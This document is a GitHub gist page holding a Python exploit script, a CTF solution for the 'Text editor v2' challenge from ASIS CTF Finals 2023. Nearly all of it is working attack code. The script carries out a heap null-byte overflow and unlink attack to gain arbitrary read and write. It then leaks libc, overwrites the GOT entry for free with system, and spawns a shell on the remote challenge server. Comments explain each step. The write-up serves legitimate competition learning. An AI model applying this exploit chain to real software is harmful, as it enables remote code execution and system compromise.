Created
January 1, 2024 10:51
-
-
Save k1R4/e6a789ce2919c81d965a6008eb153a06 to your computer and use it in GitHub Desktop.
Text editor v2 - ASIS CTF FInals 2023
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from dn3 import * | |
exe = ELF("chall") | |
libc = ELF("libc.so.6") | |
ctx.binary = exe | |
ctx.terminal = "st".split() | |
#ctx.log = 0 | |
#ctx.aslr = False | |
global io | |
breakpoints = ''' | |
break *0x401a3d | |
'''+"continue\n"*1 | |
host, port = "91.107.254.175",4000 | |
if len(sys.argv) > 1 and sys.argv[1] == "-r": | |
io = remote(host,port) | |
elif len(sys.argv) > 1 and sys.argv[1] == "-ng": | |
io = process(exe.path) | |
else: | |
io = process(exe.path) | |
io.debug(breakpoints) | |
pause() | |
DeathNot3(io, libc=libc) | |
def typechars(data): | |
sla("> ", 1) | |
sa(": ", data) | |
def backspace(count): | |
sla("> ", 2) | |
sla("? ", count) | |
def newtab(data): | |
sla("> ", 3) | |
sa(": ", data) | |
def select(idx): | |
sla("> ", 4) | |
sla(": ", idx) | |
exe.address = 0x3ff000 | |
tab1_ptr = 0x404108 | |
# Grow tab[0].buffer to size 0x610 | |
# 0x18 -> 0x30 -> 0x60 -> 0xc0 -> 0x180 -> 0x300 -> 0x600 | |
# malloc(0x600) allocates chunk of size 0x610 | |
typechars(flat([ | |
"A"*0x5f8, | |
0x21 | |
])) | |
# Occupy 0x310 left behind when growing tab[0]->buffer | |
# malloc(strlen(buffer)+1) => malloc(0x308) | |
newtab("B"*0x306+"\n") | |
# Craft fake chunk of size 0x300 with fd and bk prepared for unlink attack | |
# Also causes null byte overflow onto 0x610 chunk | |
# Changes 0x611 -> 0x600 (reduced in size by 0x10 and unsets prev_inuse bit) | |
backspace(0x307) | |
typechars(flat([ | |
0, # prevsize | |
0x301, # size | |
tab1_ptr-0x18, # fd | |
tab1_ptr-0x10, # bk | |
"A"*0x2e0, # filler | |
0x300 # prevsize of next chunk (0x610) | |
])) | |
# Cause tab[1].buffer to get freed and allocated again since size is exceeded | |
# Leads to 0x600 (previously 0x610) chunk being freed and coalescing with fake 0x300 chunk | |
# Unlinking of fake 0x300 chunk causes tab[1].buffer to get replaced with .bss address | |
select(0) | |
typechars("A"*0x20) | |
# Decrement curr_size to edit tabs | |
select(1) | |
backspace(0x2e8) | |
# curr_idx gets nulled when backspacing so have to set again | |
select(1) | |
backspace(0x4) | |
# update max_tabs to be able to craft fake tabs for Arbitrary R/W | |
typechars(p32(0x20)) | |
# Preserve curr_idx | |
select(1) | |
typechars(p32(0x1)) | |
# Craft fake tab[3] | |
typechars(flat([ | |
0, # tab[2].max_size | |
0, # tab[2].buffer | |
0, # tab[3].curr_size | |
0x10, # tab[3].max_size | |
exe.got.free # tab[3].buffer | |
])) | |
select(3) | |
# Libc leak | |
reu("buffer: ") | |
libc.address = libcleak("free") | |
# Overwrite GOT(free) => system | |
typechars(p64(libc.symbols.system)) | |
# Change tabs[3].buffer = some rw addr | |
select(1) | |
backspace(0x8) | |
typechars(p64(0x4041f8)) | |
# Write /bin/sh at rw addr | |
select(3) | |
typechars("/bin/sh\x00") | |
# Update tab[3].buffer = start of /bin/sh | |
select(1) | |
backspace(0x8) | |
typechars(p64(0x404200)) | |
# trigger reallocation of tab[3].buffer | |
# free(tab[3].buffer) => system("/bin/sh") | |
select(3) | |
typechars("\x00") | |
shell() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment